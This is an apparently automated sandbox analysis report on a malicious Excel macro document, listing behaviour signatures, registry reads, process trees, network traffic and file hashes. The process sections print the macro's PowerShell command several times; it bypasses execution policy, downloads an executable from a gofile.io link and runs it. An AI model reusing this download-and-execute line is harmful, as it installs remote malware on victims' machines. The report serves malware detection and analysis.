Analysis Overview
SHA256
dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4
Threat Level: Known bad
The file dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Office macro that triggers on suspicious action
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious use of FindShellTrayWindow
Checks processor information in registry
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-05 21:40
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-05 21:40
Reported
2024-08-05 21:41
Platform
win7-20240704-en
Max time kernel
24s
Max time network
19s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"
Network
Files
memory/2712-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2712-1-0x0000000071E6D000-0x0000000071E78000-memory.dmp
memory/2712-2-0x0000000000510000-0x0000000000610000-memory.dmp
memory/2712-3-0x0000000000510000-0x0000000000610000-memory.dmp
memory/2712-4-0x0000000000510000-0x0000000000610000-memory.dmp
memory/2712-7-0x0000000071E6D000-0x0000000071E78000-memory.dmp
memory/2712-8-0x0000000000510000-0x0000000000610000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-05 21:40
Reported
2024-08-05 21:41
Platform
win10v2004-20240802-en
Max time kernel
46s
Max time network
45s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4324 wrote to memory of 3964 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\cmd.exe |
| PID 4324 wrote to memory of 3964 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\cmd.exe |
| PID 3964 wrote to memory of 1808 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3964 wrote to memory of 1808 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dc0a6e745ecf9d10a182b9315836b89bf173c6dda35cff27cfeee7784713eba4.xls"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'https://gofile.io/d/hRWpD6' -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\file.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | gofile.io | udp |
| FR | 45.112.123.126:443 | gofile.io | tcp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 8.8.8.8:53 | 126.123.112.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.246.116.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
Files
memory/4324-2-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp
memory/4324-3-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp
memory/4324-4-0x00007FF86ED2D000-0x00007FF86ED2E000-memory.dmp
memory/4324-5-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp
memory/4324-0-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp
memory/4324-1-0x00007FF82ED10000-0x00007FF82ED20000-memory.dmp
memory/4324-7-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-12-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-11-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-13-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-14-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-15-0x00007FF82C5D0000-0x00007FF82C5E0000-memory.dmp
memory/4324-16-0x00007FF82C5D0000-0x00007FF82C5E0000-memory.dmp
memory/4324-10-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-18-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-17-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-9-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-8-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-6-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
memory/4324-27-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5s4hciuy.1de.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1808-36-0x000002DC11DC0000-0x000002DC11DE2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\file.exe
| MD5 | 2c90c89565e8b97ff3357046451f6ad2 |
| SHA1 | a4d804006898694914846598e87d1da86c0ab2af |
| SHA256 | cca2b803b3a9607ca273bd358daa7679d028e4cee40030677b2ee9905222f9cd |
| SHA512 | 742e6a7c01710b6133f6dcafad5b6c6ef2c31799f37ab353631f07695fdd2542daf9fc6ba9798bc795825d1a4f976296c504d19d74602f2aac481d988d8a1bba |
memory/4324-56-0x00007FF86EC90000-0x00007FF86EE85000-memory.dmp